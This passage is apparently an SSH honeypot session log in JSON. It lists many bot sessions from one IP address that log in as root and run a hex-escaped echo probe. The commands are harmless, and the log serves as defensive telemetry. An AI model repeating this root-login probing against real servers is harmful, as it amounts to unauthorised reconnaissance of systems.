  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:32.142524+00:00",
  "ended_at": "2026-08-23T08:13:33.514968+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "da4a0a1e-2d12-44e4-9830-9bead504e02c",
  "name": "deft-crisp-springbok",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48546,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:29.615769+00:00",
  "ended_at": "2026-08-23T08:13:31.317271+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8ffb1d89-f3b0-41dd-9ad1-6abfdbc1cb07",
  "name": "stoic-amber-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46154,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:28.050598+00:00",
  "ended_at": "2026-08-23T08:13:28.996525+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "84060445-8609-41ce-a238-1ded0151004b",
  "name": "crimson-quaint-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46148,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:25.327800+00:00",
  "ended_at": "2026-08-23T08:13:27.282626+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0172127b-6de4-4461-8e7d-e3d32a992b32",
  "name": "upland-craggy-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:22.477773+00:00",
  "ended_at": "2026-08-23T08:13:24.524738+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e3517b60-ec55-46ab-b76a-fd5d0cca4f63",
  "name": "thorny-marbled-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46132,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:19.790674+00:00",
  "ended_at": "2026-08-23T08:13:21.825851+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "70707d50-7710-4c28-a52d-417d9a96a2e5",
  "name": "hollow-regal-woodchuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41078,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:16.903574+00:00",
  "ended_at": "2026-08-23T08:13:19.029403+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cf2958a2-e757-4854-80eb-e6cdb51c8adf",
  "name": "sterling-sturdy-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41066,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:14.276635+00:00",
  "ended_at": "2026-08-23T08:13:16.126913+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "30a17ef6-4c2e-4445-ad65-dffb738bd796",
  "name": "thorny-marbled-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41054,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:11.842292+00:00",
  "ended_at": "2026-08-23T08:13:13.464262+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ccb95510-3591-45c1-a0a1-9d5c0f3d4734",
  "name": "gloomy-brave-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41042,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:09.662697+00:00",
  "ended_at": "2026-08-23T08:13:11.054676+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "51719609-4325-4123-919c-602eb1884a2c",
  "name": "gleaming-tranquil-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55350,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:06.825694+00:00",
  "ended_at": "2026-08-23T08:13:09.031374+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6d3988c5-b4a0-4c6c-9606-ec5a61f14426",
  "name": "brazen-dutiful-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55348,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:05.136569+00:00",
  "ended_at": "2026-08-23T08:13:06.072243+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "348ef370-04ec-42cc-b5fe-d2c44ad82b47",
  "name": "sooty-knotted-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55338,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:02.441010+00:00",
  "ended_at": "2026-08-23T08:13:04.504934+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1ec321c8-def2-45fe-95f2-ac83f7f2ae16",
  "name": "serene-bold-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55322,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:13:00.570262+00:00",
  "ended_at": "2026-08-23T08:13:01.730303+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cd924284-a95d-49e4-ade9-09a1c759d2f6",
  "name": "stormy-snowy-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55308,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:58.985046+00:00",
  "ended_at": "2026-08-23T08:12:59.869536+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ca329a07-1f34-48e9-8aea-bbcc97c35cd6",
  "name": "blithe-primal-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32782,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:57.242050+00:00",
  "ended_at": "2026-08-23T08:12:58.154748+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9336d0b7-6ed6-4907-aea2-3f6e6183b180",
  "name": "gritty-solar-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32778,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:54.903114+00:00",
  "ended_at": "2026-08-23T08:12:56.574531+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9a4de594-52d4-4111-bc1d-ea9bc5944bec",
  "name": "sincere-kindly-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 32774,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:52.497789+00:00",
  "ended_at": "2026-08-23T08:12:54.239944+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "581a5666-dc9b-4da1-b6f2-af8d865dc942",
  "name": "vernal-orderly-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60992,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:49.621962+00:00",
  "ended_at": "2026-08-23T08:12:51.744240+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "704df3b9-5b0b-4934-a3c8-91627e802612",
  "name": "cosmic-candid-saola",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59296,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:47.151933+00:00",
  "ended_at": "2026-08-23T08:12:48.905383+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e879d55b-d110-480f-9cb2-1add44abc2be",
  "name": "grumpy-frank-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59284,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:44.389250+00:00",
  "ended_at": "2026-08-23T08:12:46.370122+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9f91e267-744e-42fc-9a57-85adf3df4c4a",
  "name": "canny-candid-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59274,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:41.301913+00:00",
  "ended_at": "2026-08-23T08:12:43.578342+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4eb68038-a50a-4e19-8327-f29d46b9d51a",
  "name": "jovial-bashful-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 59260,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:39.221765+00:00",
  "ended_at": "2026-08-23T08:12:40.657772+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "63110ae1-5216-48a5-81e3-261549d044c6",
  "name": "burly-ginger-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40026,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:37.079053+00:00",
  "ended_at": "2026-08-23T08:12:38.427413+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a30ea505-b549-49cc-91ea-4636762ff71b",
  "name": "dusty-tidal-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40014,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:34.741194+00:00",
  "ended_at": "2026-08-23T08:12:36.390479+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "40b69cdb-c91f-49a8-8935-845ff03cfdd1",
  "name": "amiable-tranquil-numbat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40002,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:31.743901+00:00",
  "ended_at": "2026-08-23T08:12:33.908136+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "86af9505-9b10-4a8a-b5d7-68b163f968f9",
  "name": "coastal-valiant-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39996,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:29.265175+00:00",
  "ended_at": "2026-08-23T08:12:30.992506+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a830c2cc-b06b-42a9-8157-b630956b50c7",
  "name": "barren-dutiful-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34892,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:22.824908+00:00",
  "ended_at": "2026-08-23T08:12:28.462503+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4d99e043-0909-4c5d-adec-29074d243f75",
  "name": "ruddy-downy-jackdaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34888,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:20.421021+00:00",
  "ended_at": "2026-08-23T08:12:22.147354+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "26e0de68-6b8b-4b2a-b24e-f08b67856406",
  "name": "obsidian-brave-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43922,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:18.732725+00:00",
  "ended_at": "2026-08-23T08:12:19.705911+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "39373b8b-13de-45d1-89e5-e3303b41ef49",
  "name": "sooty-muted-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43898,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:15.993568+00:00",
  "ended_at": "2026-08-23T08:12:18.077416+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0e529484-d5b2-4e61-8170-853bfed9bd16",
  "name": "painted-gloomy-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43886,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:14.279062+00:00",
  "ended_at": "2026-08-23T08:12:15.257316+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5baf7ee7-8477-416e-827f-78e987285aa6",
  "name": "faded-noble-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43856,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:12.352875+00:00",
  "ended_at": "2026-08-23T08:12:13.601440+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d054b03b-5923-4955-9e8b-56ee71aafe20",
  "name": "serene-ivory-francolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43826,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:10.334833+00:00",
  "ended_at": "2026-08-23T08:12:11.514809+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b4fb2058-75dc-45ab-a803-3cf80a30a0fb",
  "name": "hardy-dapper-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54264,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:08.367677+00:00",
  "ended_at": "2026-08-23T08:12:09.648693+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "39c7f2e9-b21f-412e-98b9-da8b59587dd9",
  "name": "crimson-nameless-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54262,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:05.466600+00:00",
  "ended_at": "2026-08-23T08:12:07.723440+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e69e21d7-3dbc-48e7-bdad-2cb0092210d9",
  "name": "serene-indigo-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54260,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:03.637735+00:00",
  "ended_at": "2026-08-23T08:12:04.785604+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7533d0fb-292a-45cd-a5da-ab57b67d9556",
  "name": "weathered-umber-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54252,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:12:00.896863+00:00",
  "ended_at": "2026-08-23T08:12:03.019297+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "90124f32-38b3-4648-a341-a79bd604a1ba",
  "name": "genial-tangled-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39502,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:58.313922+00:00",
  "ended_at": "2026-08-23T08:12:00.144613+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8903e393-a436-4480-8028-76c73552bbda",
  "name": "twilight-bold-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39498,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:56.539900+00:00",
  "ended_at": "2026-08-23T08:11:57.555238+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dcb103f6-90bf-4245-b063-12e8800ff62e",
  "name": "courtly-granite-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39486,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:54.685876+00:00",
  "ended_at": "2026-08-23T08:11:55.751484+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f1f2e6a9-337b-4f09-a62b-a5a3d23bef5e",
  "name": "fringed-diligent-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39476,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:51.889467+00:00",
  "ended_at": "2026-08-23T08:11:54.009506+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7f40eccc-baba-495e-b12b-fa32e995c873",
  "name": "brisk-bashful-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39464,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:49.956286+00:00",
  "ended_at": "2026-08-23T08:11:51.140316+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4dbddfeb-fba3-4cb0-9dbb-705d1ea115c9",
  "name": "courtly-gloomy-linnet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43156,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:48.138023+00:00",
  "ended_at": "2026-08-23T08:11:49.293530+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d2e61e51-7439-4484-8837-e343a46b231c",
  "name": "early-spirited-bonobo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43140,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:45.621548+00:00",
  "ended_at": "2026-08-23T08:11:47.377651+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "87dda487-e4d0-4665-ba85-73b750fbeca5",
  "name": "upland-tawny-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43130,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:42.746678+00:00",
  "ended_at": "2026-08-23T08:11:44.985190+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0393d81f-0a8e-4ddb-9cb5-9e265e0d5d18",
  "name": "placid-sooty-catbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43122,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:40.504053+00:00",
  "ended_at": "2026-08-23T08:11:42.081437+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6e62e7b6-d3f3-4585-b6c8-56578ca457dc",
  "name": "nimble-vaulted-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38770,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:38.468954+00:00",
  "ended_at": "2026-08-23T08:11:39.783565+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e0cc883a-710f-4a10-b85e-5d0812be24d5",
  "name": "wooded-vernal-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38766,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:11:36.835736+00:00",
  "ended_at": "2026-08-23T08:11:37.843324+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "89e8f570-c910-47b3-af82-d802f6c34f27",
  "name": "lucid-blazing-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38750,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
